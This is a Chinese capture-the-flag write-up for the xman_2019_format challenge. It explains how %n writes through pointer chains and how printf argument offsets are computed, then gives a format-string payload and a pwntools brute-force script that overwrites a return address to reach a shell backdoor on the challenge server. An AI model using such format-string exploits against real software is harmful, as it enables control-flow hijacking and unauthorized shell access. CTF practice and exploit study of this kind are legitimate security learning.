BUU-xman_2019_format-WP

Posted on Dec 8, 2020

这是一道堆上的格式化字符串漏洞,做完这道题我大概可以理解“跳板”是什么鬼了,也对%n的原理有了正确的认知,之后计划完成类似的echo3和playfmt。

%n

这个东西和其他的格式化占位符一样,是以参数所在的内存中存储的地址指向的内存为操作对象的

也就是说对于两个红框中的链,修改的蓝圈指向的地址中的值,也就是橙圈中的值。(gdb中,第一列是参数所在的内存地址,第二列是这个内存地址中存的值,如果我们使用%p之类的占位符输出,那么输出的就是这个值,第三列是内存中存储的指针所指向的值,%n修改的就是这个值。这就和scanf("%d",&n);对n读入时提供的是n的地址而不是n的值是一个道理)

总结一下,就是%n修改链A->B->C->D...修改的是C。

参数的计算

之前算参数偏移都是靠aaaa-%p-%p-%p....这样人工求出来,这样虽然有效,但是毕竟是比较玄学的一个办法,而对于在堆上的格式化字符串其实也是无效的。而实际上,printf也不过是个变参函数罢了同样也满足调用约定,从他的原型来看

int printf(const char *format, ...)

第一个参数是格式化字符串,之后的就是格式化占位符可以指定的参数了,cdecl调用约定中用ebp+4*(n+1)来对第n个参数寻址,虽然我没看过printf的汇编代码,但是合理的猜测一下,对栈和两个寄存器肯定有

push ebp
mov ebp,esp

在这个过程中,由于push了一个ebp,所以ebp+4*(n+1)==esp+4*n(这里的esp是主调函数在call printf之前时的esp,而ebp是printf实际寻址是的ebp,所以ebp==esp-4),因此我们可以归纳出(这些对大多数的函数都成立)

  • 32位下,直接用栈传参,参数从左到右是esp+4,esp+8,esp+12...,第n个参数就是在esp+4*n处了,即esp+x处是第x/4个参数。
  • 64位下,前6个参数用寄存器传递,参数从左到右是rdi,rsi,rdx,rcx,r8,r9,rsp+8,...,大于6的第n个参数就是在rsp+(n-6)*8处了,即rsp+x处是第x/8+6个参数。

对于这个程序,核心就是这里的

格式化字符串漏洞。strtok的作用可以参考菜鸟教程,在这里可以简单的认为是凭借'|'所在的位置分割了我们输入的字符串并多次输出。

然后又提供了一个后门,显然我们只需要通过任意写让某个函数ret2text到这里就可以了。

为了实现任意写,我们需要观察一下要printf时的栈帧

所以我们把断点下在

这个printf处(前后两个printf的栈帧结构时一样的)

这个时候我们就找到了一张合适的链表,根据之前对%n的分析,如果把红框的0xffffd088修改成0xffffd03c,那么蓝色的链表就变成了0xffffd058 —▸ 0xffffd03c —▸ 0x804864b,我们再修改0x804864b这个值,就可以控制当前函数返回的地址了。每次栈的地址当然都是会变的,但是由于

start函数中的and esp,0FFFFFFF0h的存在,二进制下最低四位是不会变的,而我们也注意到,0xffffd03c和0xffffd088只在最低位上的一个字节上又差别,这个字节的低四位又必定是c,所以我们用0xnC(n为0-15的某个十六进制数)就可以爆破了,成功概率是1/16,还是比较高的。

所以就有了payload=“%12c%10$hhn|%34219%18$hn”

由于要爆破,exp也做了特殊的处理

from pwn import *                        
                                         
get_shell = 0x080485AB                   
                                         
while 1:                                 
    #sh = process("./xman_2019_format")  
    sh = remote("node3.buuoj.cn","27239")
    payload = '%12c' + '%10$hhn' +'|'    
    payload += '%34219c' + '%18$hn'      
    sh.sendline(payload)                 
    try:                                 
    ┊   sh.sendline('echo pwned')        
    ┊   sh.recvuntil('pwned',timeout=0.5)
    ┊   sh.interactive()                 
    except:                              
    ┊   sh.close()                       

就这样